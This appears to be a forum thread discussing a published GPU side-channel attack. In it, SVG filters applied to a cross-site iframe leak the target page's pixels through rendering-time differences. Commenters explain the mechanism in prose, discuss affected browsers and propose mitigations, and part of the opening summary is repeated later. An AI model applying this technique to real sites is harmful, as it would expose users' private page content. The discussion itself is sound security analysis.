This is a solid attack. I wouldn't call it beautiful, it's more like a well-considered thorough engineering tour-de-force. I'm horrified but applaud the team.
Here's how it works: a stack of SVG filters is created. These filters are constructed so that they will tend to be faster processing a dark pixel than they will be processing a light pixel.
An iframe is loaded up by the attacking site, pointing at, say, a banking site or some other target of interest. I couldn't find exact details, and my HTML skills are rusty, but I assume the iframe is a 1x1 pixel iframe, and given a pixel offset.
The SVG stack is loaded onto the iframe using CSS, then unloaded, then loaded, etc. a whole bunch of times, and average timing results are assessed. Based on these average times, the pixel is marked 'dark' or 'light'. Repeat for each pixel.
Average time per pixel is in the 1-2 second range. Per pixel. So, this is a slow attack. It could probably get an order of magnitude faster with a sort of combo of zooming and greyscale heuristics that resolves over time, though.
They have a number of cool graphs showing the broad spread of times, and it does look easy to distinguish; their success varies by architecture, but it's over 96% for almost every architecture they test. They show it works while multiple videos and other things that tax the GPU are playing.
Proposed fix: let browsers tell the GPU they need some variant of constant-time processing for an iframe. Which is super, super gross.
Safari and Firefox don't currently allow cross-site iframe injection, so the attack only works on Chromium-line browsers.
Site permissions are already a thing for e.g. video and location access. I don't see why they're not extended to all these other attack vectors: WebGPU, WebRTC, canvas, Web Audio, iframes, precise timing functions, WASM etc.
Most sites don't need any of these features so why not make them opt-in and per-site?
Yeah, it seems like that would mitigate most of the issues. At the very least, Chrome could introduce and respect a CSP flag on the iframed site that indicates it can be iframed but not with SVG filters. That wouldn't sacrifice backward compatibility but would at least allow sites to opt out of the behavior (and into extra security protection). (And I say "Chrome," not "browsers," because it's the only browser that satisfies the three prerequisites of the attack, one of which is adding SVG filters to iframes, as described in the site/paper).
On the other hand, it would be more effective in reverse, i.e. to require iframed sites to opt-in to allowing host sites to apply SVG/CSS filters to them. Sure, this would break backward compatibility. But who cares? What is the reason for the strong attachment to SVG filters on iframes? Is this a common use case? When is it beneficial?
For the other described prerequisites of the attack, like allowing embedding iframes with third-party cookies inside them, I understand the use case (although if we're being honest this is mostly because of Google wanting to retain YouTube tracking). But SVG filters on iframes? Really?
In this case it's SVG and not WebGL or CSS 3D that is the problem here. Even without hardware acceleration the SVG filters would still probably expose timing data
Technically it's the use of the GPU for rendering the SVG that's the issue. Perhaps even without GPU rendering there'd be similar side channels available, but at least they'd be "software visible" (to use the words of the paper) rather than "software transparent."
Something I didn't understand from my skimming of the paper, though: does this side channel only apply to windows/iframes within the same browser? Why couldn't it apply to windows of different apps? If the GPU rendered a frame buffer somewhere on the screen, then is that exposed by the attack, regardless of whether it's within the browser? e.g. could Chrome.app identify some pixels from a PDF open in Preview.app?
Normally pixels belonging to other processes aren't visible to you. There have been incidents in the past where (usually due to a driver bug) processes could grab pixels from other processes' textures/render targets, but normally you're only supposed to be able to get those pixels by asking the OS (usually its compositor specifically) for them.
I think this side channel partly relies on being able to stack the iframe on top of attacker-controlled image content. Preview.app will be at an unknown position on the screen, and the Chrome.app window could also be at any position and move, so it's much harder to imagine a way to apply this attack in that scenario.
> Here's how it works: a stack of SVG filters is created. These filters are constructed so that they will tend to be faster processing a dark pixel than they will be processing a light pixel.
Why/how is that a thing? I know I'm ignorant, but I would natively expect the processing to be a deterministic series of mathematical operations that don't really care what values get fed through.
Edit: Is it something about branching to to handle an upper/lower bound?
It’s based on compression. The paper explains how the GPU stores pixels in memory in a losslessly compressed format in order to speed up data transfers. And the filter stack is designed so that a dark pixel input produces an all-black output (very compressible), while a light pixel input produces noise as output (very incompressible).
Not sure. But web implementations are often highly optimized given just how much they get run. Perhaps one of the filters short circuits and does no work on black pixels because, I dunno, what’s a Gaussian blur of a white circle on a white background?
Here's how it works: a stack of SVG filters is created. These filters are constructed so that they will tend to be faster processing a dark pixel than they will be processing a light pixel.
An iframe is loaded up by the attacking site, pointing at, say, a banking site or some other target of interest. I couldn't find exact details, and my HTML skills are rusty, but I assume the iframe is a 1x1 pixel iframe, and given a pixel offset.
The SVG stack is loaded onto the iframe using CSS, then unloaded, then loaded, etc. a whole bunch of times, and average timing results are assessed. Based on these average times, the pixel is marked 'dark' or 'light'. Repeat for each pixel.
Average time per pixel is in the 1-2 second range. Per pixel. So, this is a slow attack. It could probably get an order of magnitude faster with a sort of combo of zooming and greyscale heuristics that resolves over time, though.
They have a number of cool graphs showing the broad spread of times, and it does look easy to distinguish; their success varies by architecture, but it's over 96% for almost every architecture they test. They show it works while multiple videos and other things that tax the GPU are playing.
Proposed fix: let browsers tell the GPU they need some variant of constant-time processing for an iframe. Which is super, super gross.
Safari and Firefox don't currently allow cross-site iframe injection, so the attack only works on Chromium-line browsers.
Again, eww. And, wow!